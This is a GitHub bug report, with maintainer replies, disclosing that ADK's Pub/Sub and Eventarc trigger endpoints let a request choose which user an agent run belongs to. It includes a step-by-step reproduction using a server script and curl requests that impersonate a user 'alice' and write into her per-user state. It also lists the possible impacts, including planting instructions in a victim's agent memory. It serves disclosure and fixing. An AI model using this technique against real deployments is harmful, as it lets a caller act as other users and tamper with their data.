Repository navigation
Description
🔴 Required Information
Describe the Bug:
The trigger endpoints (/apps/{app}/trigger/pubsub and /apps/{app}/trigger/eventarc) start an agent
run for each incoming event. Every run needs a user id, and ADK takes it from a field in the request
body: subscription for Pub/Sub, source for Eventarc. The value is only trimmed and has / replaced
by -- (_make_trigger_user_id, src/google/adk/cli/trigger_routes.py:249-262).
Nothing checks that field. A request that sets it to another user's id, for example "alice", makes the
agent run as alice: the run gets alice's per-user data (user: state, user artifacts, memory), and
whatever it writes is saved into alice's data, which her own later sessions read.
The token check does not prevent this. It only decides whether the caller may call the endpoint; it is
not used to decide which user the run belongs to.
Steps to Reproduce:
No model or Google credentials are needed: the agent below is a small BaseAgent that reports
user:secret and writes user:note. The server is ADK's own get_fast_api_app with Pub/Sub triggers;
since a Google token cannot be minted offline, the trigger verifier is replaced by one that accepts any
bearer token, i.e. what GoogleOidcVerifier does for any Google-signed token of the audience when
--trigger_oidc_service_accounts is not set.
- Install ADK and create the files:
agents/demo/__init__.py: makesagents/demothe ADK appdemothat the server loads
(the app name in/apps/demo/...).agents/demo/agent.py: a mock agent, without a model, that mimics what a real agent does with
per-user data: it readsuser:secretfrom the run's state and writesuser:noteinto per-user
state. The write is the observable: it lands in whichever user the run belongs to.serve.py: starts ADK's own API server (get_fast_api_app) with the Pub/Sub trigger enabled,
using a verifier that accepts any bearer token in place ofGoogleOidcVerifier.
python -m venv venv && . venv/bin/activate
pip install "git+https://github.com/google/adk-python@761538ab2"
mkdir -p agents/demo && echo 'from . import agent' > agents/demo/__init__.py
cat > agents/demo/agent.py <<'EOF'
from google.adk.agents import BaseAgent
from google.adk.events import Event, EventActions
from google.genai import types
class UserDataAgent(BaseAgent):
async def _run_async_impl(self, ctx):
reply = f"user={ctx.session.user_id} secret={ctx.session.state.get('user:secret')}"
yield Event(author=self.name, invocation_id=ctx.invocation_id,
actions=EventActions(state_delta={"user:note": "written by a trigger run"}),
content=types.Content(role="model", parts=[types.Part(text=reply)]))
root_agent = UserDataAgent(name="demo")
EOF
cat > serve.py <<'EOF'
import uvicorn
from fastapi import HTTPException, Request
from google.adk.cli.fast_api import get_fast_api_app
async def any_bearer_token(request: Request) -> None: # stands in for GoogleOidcVerifier
if not request.headers.get("authorization", "").startswith("Bearer "):
raise HTTPException(status_code=401)
app = get_fast_api_app(agents_dir="agents", web=False, trigger_sources=["pubsub"],
trigger_auth_verifier=any_bearer_token, use_local_storage=False, port=8003)
uvicorn.run(app, host="127.0.0.1", port=8003)
EOF- Start the server (port 8003 must be free):
python serve.py & - Give user
alicesome per-user state (in practice this comes from her own sessions):
H=(-H "Authorization: Bearer t" -H "Content-Type: application/json")
B=http://127.0.0.1:8003/apps/demo
curl -s -X POST $B/users/alice/sessions "${H[@]}" -d '{"state": {"user:secret": "alice-secret-4711"}}' >/dev/null- Send one trigger with a normal subscription name, and one whose
subscriptionisalice; check
alice's per-user state after each:
state() { curl -s -X POST $B/users/alice/sessions "${H[@]}" -d '{}' | python3 -c 'import json,sys; print(json.load(sys.stdin)["state"])'; }
curl -s -X POST $B/trigger/pubsub "${H[@]}" -d '{"subscription": "projects/p/subscriptions/orders", "message": {"data": "aGk=", "messageId": "1"}}'; echo
state
curl -s -X POST $B/trigger/pubsub "${H[@]}" -d '{"subscription": "alice", "message": {"data": "aGk=", "messageId": "2"}}'; echo
stateExpected Behavior:
A trigger run belongs to the trigger (or to the authenticated caller), not to a user chosen by the
request. The second trigger should not run in alice's per-user context or change her data.
Observed Behavior:
{"status":"success"}
{'user:secret': 'alice-secret-4711'}
{"status":"success"}
{'user:secret': 'alice-secret-4711', 'user:note': 'written by a trigger run'}
After the trigger with "subscription": "alice", the run had executed as alice (with her
user:secret in its state) and its write is in her per-user state. The normal subscription name left
her state unchanged.
Environment Details:
- ADK Library Version (pip show google-adk): 2.14.1 (commit 761538a)
- Desktop OS: Linux
- Python Version (python -V): 3.12
Model Information:
- Are you using LiteLLM: No
- Which model is being used: N/A (model-free agent; the issue is in the trigger routes)
🟡 Optional Information
Additional Context:
Potential impact. With --trigger_oidc_audience set and --trigger_oidc_service_accounts unset
(documented as "caller identity is not enforced", cli/fast_api.py:205-209), any valid Google-signed
ID token for the endpoint's audience is accepted, e.g. one minted by any service account. Such a caller can:
- run the agent in any existing user's per-user context (any user id without
/), so the agent's tools
act on that user's state, artifacts and memory; - write into that user's state, artifacts and memory, which the user's own later sessions read; this
can plant instructions or false facts that steer the user's future conversations.
Trigger responses only return a status, so the caller does not receive the agent's reply directly; the
effect is acting as the user and changing their data, plus anything the agent's tools send out. The
same applies to /trigger/eventarc, where source is free text. Deployments made with
adk deploy ... --trigger_sources run the same server (adk api_server).
Suggested fix.
- Do not take
user_idfrom caller-controlled fields: derive it from the verified token, or put trigger
runs in their own namespace (e.g.trigger:<subscription>) that cannot equal an interactive user id. - Validate
subscriptionagainstprojects/*/subscriptions/*. - Fail closed, or warn loudly, when an audience is set without
--trigger_oidc_service_accounts.
How often has this issue occurred?:
- Always (100%)
Activity
Skull-boy commentedon Nov 18, 2026
Hey @surajksharma07 @sanketpatil06 I just reproduced this locally against
src/google/adk/cli/trigger_routes.py(_make_trigger_user_idpasses the rawsubscription/sourcevalue straight through asuser_id). I'd like to pick this up and add regression coverage intest_trigger_routes.py.Before opening a PR, which direction do maintainers prefer?
trigger:<sanitized_id>) so trigger runs can never collide with interactive user IDs, plus validating Pub/Subsubscriptionagainstprojects/*/subscriptions/*.--trigger_oidc_audienceis set without--trigger_oidc_service_accounts.Happy to implement whichever scope aligns best with ADK's trigger design.
sanketpatil06 commentedon Nov 19, 2026
Hi @gxy1113, thanks for the detailed report and reproduction. The behavior is valid: the trigger endpoints took the run's
user_idfrom the request'ssubscription/sourcefield, so a trigger request could run as an existing user and write to their data.Thanks @Skull-boy for reproducing this and opening #8239. It moves trigger runs into a
trigger--<pubsub|eventarc>--<metadata>namespace, so the request body can no longer select an existing user. Isolation tests cover the Pub/Subsubscription, Eventarcsourceandce-sourcepaths.@gxy1113, could you try #8239 on your end and confirm whether it resolves the issue before we move forward with review and merge?
gxy1113 commentedon Nov 19, 2026
Hi @sanketpatil06, thanks for the quick response. I tried the fix and cannot trigger the issue now. Thank you @Skull-boy for creating the fix!